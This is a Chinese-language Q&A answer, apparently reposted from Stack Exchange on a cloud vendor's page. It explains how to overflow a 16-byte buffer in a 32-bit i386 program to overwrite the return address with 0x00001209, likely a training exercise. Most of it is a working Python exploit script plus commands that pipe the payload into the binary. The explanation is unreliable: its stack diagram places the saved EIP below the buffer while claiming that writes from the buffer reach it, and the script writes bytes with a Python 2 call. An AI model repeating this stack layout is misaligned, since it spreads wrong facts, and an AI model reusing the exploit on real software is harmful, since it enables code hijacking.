You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

ELF-32位i386缓冲区溢出:如何正确覆盖EIP至0x00001209

解决缓冲区溢出覆盖EIP的问题

首先,你的核心问题是payload的栈布局顺序搞反了,另外还有print语句自动添加换行符的潜在问题,这两个点导致你无法成功覆盖EIP。下面一步步拆解解决:

1. 先明确栈布局逻辑

在32位i386的栈中,内存是向下生长的(从高地址到低地址),你的程序局部变量在栈中的顺序如下:

高地址
| buf[15] |
| buf[14] |
| ...     |
| buf[0]  |  ← gets从这个位置开始写入数据
| cookie  |  4字节int变量
| ebp     |  4字节保存的旧EBP值
| eip     |  4字节返回地址(我们要覆盖的核心目标)
低地址

当gets(buf)读取输入时,内容会从buf[0]开始填充,超过16字节后会依次覆盖cookie、ebp,最后才会触及eip的位置。你的原payload顺序完全颠倒,根本没机会覆盖到返回地址。

2. 修正后的漏洞利用代码

import struct
import sys

# 按栈顺序构造payload
# 1. 填满16字节的buf缓冲区
buf_fill = b'A' * 16
# 2. 覆盖cookie(随便填即可,因为我们要绕过if判断)
cookie_cover = b'B' * 4
# 3. 覆盖旧ebp(任意填充,不影响跳转逻辑)
ebp_cover = b'C' * 4
# 4. 覆盖eip为目标地址0x00001209(用小端序打包,适配i386架构)
target_eip = struct.pack("<I", 0x00001209)

payload = buf_fill + cookie_cover + ebp_cover + target_eip

# 用stdout.write输出,避免print自动添加换行符(0x0A会被gets截断)
sys.stdout.write(payload)

3. 关键细节提醒

  • payload顺序不能乱:必须严格按照栈从高到低的填充顺序,先填满buf,再依次覆盖后续栈元素,最后才是返回地址的位置。
  • 避免换行符截断:print会自动在输出末尾添加\n(即0x0A),而gets遇到0x0A就会停止读取,这会导致你的payload被提前截断。一定要用sys.stdout.write()(Python2)或sys.stdout.buffer.write()(Python3)输出原始字节流。
  • 验证目标地址:确保0x00001209确实是你想要执行的代码地址。可以用objdump -d your_program查看汇编,建议跳转到printf("You win!\n")的完整执行逻辑起始地址(比如先push字符串地址再call printf的位置),不要直接跳转到printf函数入口——否则栈参数不匹配会导致程序崩溃。

4. 测试方法

用管道将payload输入到程序:

python exp.py | ./your_program

或者将payload写入文件后重定向输入:

python exp.py > payload.bin
./your_program < payload.bin

内容的提问来源于stack exchange,提问作者 Trần Bà Quang

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.09 00:37:49